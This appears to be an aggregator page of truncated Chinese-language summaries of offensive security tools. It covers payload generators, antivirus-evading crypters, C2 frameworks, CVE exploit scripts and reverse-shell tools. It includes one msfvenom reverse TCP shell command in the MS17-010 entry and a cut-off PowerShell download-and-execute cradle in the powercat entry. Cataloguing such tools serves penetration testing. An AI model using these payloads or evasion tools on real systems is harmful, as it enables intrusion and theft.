hackEmbedded

hackebds 简介 hackebds 是一个面向嵌入式设备的 payload 生成、加密 shell、SOCKS5 代理和设备信息整理工具。 当前版本中，加密 shell / 代理的推荐工作流已经统一为 纯 ELF 模式 ： reverseshellfile + encryptedshellserver / reverseshellserver bindshell + bindshellclient reverseproxyfile + reverseproxyserver forwardproxyfile 新版本主要变化 新增全架构加密反向 shell 和加密 bind...

TheFatRat

TheFatRat 一个大规模漏洞利用工具 TheFatRat 是一款漏洞利用工具，它使用著名的载荷编译恶意软件，编译后的恶意软件可在 Linux、Windows、Mac 和 Android 上执行。TheFatRat 提供了一种简单的方法来创建后门和载荷，可以绕过大多数杀毒软件。 信息...

ASWCrypter

欢迎使用 ASWCrypter 脚本 v1.0 100% FUD 一个 Bash 和 Python 脚本，用于生成绕过所有现有杀毒软件的有效载荷 FUD ; 。 请不要将后门上传到 WWW.VIRUSTOTAL.COM 23/08/2018 重要说明 此版本仅用于测试，未来我将更新 ASWCrypter 以生成适用于 linux、Mac 和 Windows 的有效载荷。 ; 法律免责声明： 作者对滥用此工具不承担任何责任，请记住这仅用于教育目的。 要求 1- Metasploit Framework 2- Python 开始使用 1. git clone...

discover

root@kitploit: Custom bash scripts used to automate various penetration testing tasks including recon, scanning, enumeration, and malicious payload creation using Metasploit. For use with Kali Linux or Ubuntu. Lee Baird @discoverscripts Jay "L1ghtn1ng" Townsend @jaytownsend1 Jason Ashton @ninewir...

MS17-010_CVE-2017-0143

MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker 使用 msfvenom 生成 Payload： root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp：指定 payload（一个针对 Windows 的反向 TCP shell）。 LHOST=10.10.14.4：攻击者的 IP 地址（目标将回连的地址）。...

Kitsune

Kitsune Kitsune 是一个多形态命令与控制工具。该工具允许你以图形化方式使用最喜爱的黑客工具，例如 NetExec、Villain 或 Evil-WinRM 等。此外，它还带来了诸多改进，如自动重连、报告、历史记录以及每个已实现工具中的一些额外功能。 其使用方式与 Cobalt Strike 或 Havoc 等其他 C2 非常相似，利用监听器、载荷生成器、通过 HTTP/S 投递等功能。它简单、现代且响应式的图形界面旨在易于使用，以加快黑客的工作效率。 ⚠️...

CVE-2017-12149

CVE-2017-12149 Jboss Java反序列化远程代码执行 CVE-2017-12149 该Python脚本使用ysoserial动态生成有效载荷。因此也需要Java环境。...

CVE-2022-30190

CVE-2022-30190 该脚本来自 https://github.com/JohnHammond/msdt-follina，我只是为了便于自己使用而对其进行了简化。此脚本旨在生成 payload，更多信息请参阅 JohnHammond 的链接。...

JNDI-Injection-Exploit-Plus

JNDI-Injection-Exploit-Plus English README JNDI-Injection-Exploit-Plus改写自welk1n大佬的JNDI-Injection-Exploit项目。 详细说明 是一款JNDI注入利用工具，可以生成JNDI链接并启动后端相关服务。 根据JNDI的三种触发点，提供3种JNDI利用方式 远程Reference链 （3种） 本地Reference链 （4种） 反序列化链（75种） P.S. 具体利用链名称及依赖见 表格 使用方法 root@kitploit: $ java -jar...

cve-2023-42115

CVE-2023-42115: Scripts de Exploit y Generador de Payload Este repositorio contiene dos scripts de Python: 1. exploit.py : Un script para explotar CVE-2023-42115. 2. generatepayload.py : Un script para generar payloads de reverse shell. Requisitos previos Antes de ejecutar los scripts, asegúrate ...

Shortcut-Payload-Generator

Shortcut-Payload-Generator 利用 PowerShell 生成快捷方式有效载荷 FUD。 这里有太多很酷的技巧，你可以让它变得更好 ^^。 例如：在下载时关闭 tcpview、任务管理器等。 下载后设置恶意软件的隐藏属性...等等。 再见。 ./9aylas EOF...

OSRipper

OSRipper v0.4.2 高级跨平台载荷生成器与密码器，具备FUD能力 功能特性 • 快速开始 • Web UI • 载荷类型 • 文档 概述 OSRipper 是一款复杂且完全无法检测 FUD 的后门生成器与密码器，专为授权的渗透测试和红队行动而设计。它采用先进的规避技术、多种载荷类型，并提供基于 Web 的现代 C2 界面来管理受控系统。 核心亮点 完全无法检测 FUD — 先进的规避技术可绕过现代杀毒软件 基于 Web 的 C2 界面 — 用于管理活跃会话的现代化仪表盘 多种载荷类型 — 绑定 shell、反向 shell、DoH C2、HTTPS C2 等 多层混淆 —...

AggressorScripts

Aggressor 脚本 从多个来源收集的用于 Cobalt Strike 3.0+ 的 Aggressor 脚本集合 AllInOne.cna v1 - 已移除，已过时 用于增强用户在 cobaltstrike 中体验的多功能脚本。自定义菜单创建、日志记录、持久化、枚举以及第三方脚本集成。 第二版正在开发中！ ArtifactPayloadGenerator.cna 基于 HTTP/HTTPS 监听器生成所有类型的无阶段/有阶段 Payload 创建 /opt/cobaltstrike/StagedPayloads、/opt/cobaltstrike/StagelessPayloads...

JSshell

JSshell - 版本 3.1 JSshell - 一个 JavaScript 反向 Shell。用于远程执行 JS 代码、利用盲 XSS 等。 要求：任意操作系统 + Python 2 或 Python 3 JSshell 版本 3.1 的新功能 JShell 3.1 新版本更新内容： 新 JSshell 命令：snippet - 允许编写一段 JavaScript 代码 root@kitploit: snippet Use CTRL+D to finish the snippet function new new = 'New update: Support javascript...

reverse-shell-generator

reverse-shell-generator 托管的反弹 Shell 生成器，功能丰富——（非常适合 CTF） 托管实例 https://revshells.com 功能 生成常见的监听器和反弹 Shell 保存按钮，可从浏览器下载 Payload 原始模式，可将 Shell 通过 cURL 传输到您的机器 一键增加监听端口号（+1） URI 和 Base64 编码 LocalStorage 持久化您的配置 深色、浅色和 Meme 模式 集成 HoaxShell 及自定义监听器（更多信息见下方链接）| 致谢：https://github.com/t3l3machus HoaxShell...

powercat

powercat Netcat：PowerShell 版本。（支持 PowerShell 2 及以上版本） 安装 powercat 是一个 PowerShell 函数。首先，你需要加载该函数才能执行它。你可以将以下命令之一放入你的 PowerShell 配置文件中，以便在 PowerShell 启动时自动加载 powercat。 root@kitploit: 从下载的 .ps1 文件加载函数： . .\powercat.ps1 从 URL 加载函数： IEX New-Object...

Brutal

现在 Teensy 可以用于渗透测试 Teensy 就像橡胶鸭 Rubber Ducky，为什么我选择 Teensy？因为对我来说价格非常便宜。它在无需人为键盘交互（HID 攻击）的情况下执行目标机器上的脚本极为有用。当你插入设备时，它会被检测为键盘，利用微处理器和板载闪存存储，你可以向目标机器发送非常快速的按键序列，并完全攻破它，无论自动运行是否开启。我在安全测试中使用它来运行侦察或枚举脚本、执行反向 shell、利用本地 DLL 劫持/提权漏洞，以及获取所有密码。 现在我正在开发一个新工具，名字叫 Brutal。 Brutal Brutal 是一个工具包，用于快速创建各种...

msfpc

MSFvenom Payload Creator MSFPC 一种通过 msfvenom（Metasploit 框架的一部分）快速生成各种“基本”Meterpreter 有效载荷的工具。 关于 MSFvenom Payload Creator MSFPC 是一个封装工具，用于根据用户选择生成多种类型的有效载荷。其理念是尽可能简单 （只需一个输入 ）来生成有效载荷。 终极目标是完全自动化 msfvenom 和 Metasploit（当然也要能够自动化 MSFPC 本身）。其余部分则是为了让用户的生活尽可能轻松 （例如 IP 选择菜单 、msfconsole 资源文件/命令 、批量生成有效载...

Kage

Kage Kage ka-geh 是一款受 AhMyth 启发的工具，专为 Metasploit RPC Server 设计，用于与 meterpreter 会话交互并生成 payload。 目前仅支持 windows/meterpreter 和 android/meterpreter。 开始使用 请按照以下说明在本地机器上成功运行 Kage。 先决条件 Metasploit-framework 必须已安装并存在于你的 PATH 中： Msfrpcd Msfvenom Msfdb 安装 你可以从这里下载 Kage 的二进制文件。 对于开发者...

Veil-Evasion

Veil-Evasion Veil-Evasion 是一款旨在生成绕过常见杀毒软件的 Metasploit 有效载荷的工具。 注意：每次主要版本更新后，都应重新运行 ./setup/setup.sh。如果在运行 Veil-Evasion 时遇到任何重大错误，请首先尝试重新运行此脚本以安装额外的包并更新公共配置文件。 Veil-Evasion 目前由 @ChrisTruncer、@TheMightyShiv、@HarmJ0y 积极维护。 感谢： @jasonjfrank @mjmaley @davidpmcguire 软件要求： Linux 1. 使用 Kali x86 系统，所有依赖项已...